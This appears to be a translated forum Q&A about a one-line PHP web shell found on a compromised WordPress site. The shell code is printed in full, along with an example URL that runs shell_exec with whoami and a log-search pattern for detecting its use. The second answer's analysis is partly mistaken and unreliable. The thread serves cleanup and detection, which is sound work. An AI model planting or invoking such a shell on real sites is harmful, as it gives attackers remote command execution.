这行 PHP 代码有什么作用?

What does this line of PHP code do?

我从一个 wordpress 站点提取了这个,它碰巧被感染并被我清理了。

<?php ($_=@$_GET[page]).@$_($_POST[404]);?>

我怀疑这行是 SEO 垃圾邮件,但我无法理解这行的意思。

这是一个 PHP shell。如果将其重写为 URL file.php?2=shell_exec&1=whoami 则在 shell 上执行命令 whoami。在您的示例中,一个参数由 POST 传递,一个由 GET 传递。所以调用起来有点困难。

您还可以通过它调用其他函数。第一个参数始终是函数名称,第二个参数是被调用函数的参数。

显然在 http://h.ackack.net/tiny-php-shell.html (https://twitter.com/dragosr/status/116759108526415872) 上有解释,但我无法加载该网站。

/edit:如果您有权访问服务器日志文件,您可以搜索它们以查看黑客是否使用了此 shell。 shell 上的简单 egrep "(&|\?)2=.+" logs* 应该可以工作。您只能看到执行命令的一半(只有 GET,而不是 POST),但这也许有助于查看攻击者是否真的使用了他的脚本。

PS: 之前在这里回答过

让我们稍微分解一下:

($_=@$_GET[page]) . @$_($_POST[404]); 首先,这是两个用句点连接的表达式:() . ().

第一个表达式中,$_ = $_GET[page]$_是一个变量,被赋值=给变量$_GET['page'],或者可能是它引用的匿名函数的输出。如果 $_GET[page] 确实引用了匿名函数,则 @ 会抑制它的任何错误。

第二个表达式,@ $_( $_POST[404] ); 从匿名函数 $_ 的错误抑制 @ 开始,您现在可以看出这是一个被调用的匿名函数,因为它后面跟着 (。传递给这个函数的参数是$_POST['404'],然后第二个括号只是关闭调用。

所以我认为你的怀疑是正确的;这看起来像是旨在看起来无害或网站的一部分的混淆代码。我怀疑 $_GET[page]$_POST[404] 的值可能是 javascript 字符串,其在页面上的回显会安装恶意软件或广告软件。

您可以通过查看这两个变量的值并查看它们是什么来进一步调试它。

据我所知,在不知道 GET 和 POST 中的值的情况下,变量 $_ 似乎被分配给字符串 $_GET[page],这可能是任何人加载页面时在 URL 中提交。因此,他们能够将 any 函数的字符串名称传递给站点,并将其置于 PHP 的范围内。

那么,他们就是运行那个任意函数对$_POST['404']的值。该值也是浏览器或用户 POST 到页面的任何值。

连接和外括号 ().() 可能只是更加混淆,或者这段代码的要点可能只是简单地在页面上回显这段代码的结果(注入 javascript)例子。但是,他们也有可能根据他们传递的任何参数调用他们想要的任何函数。我无法仅通过观察来判断,但更熟悉 PHP 的人可能可以。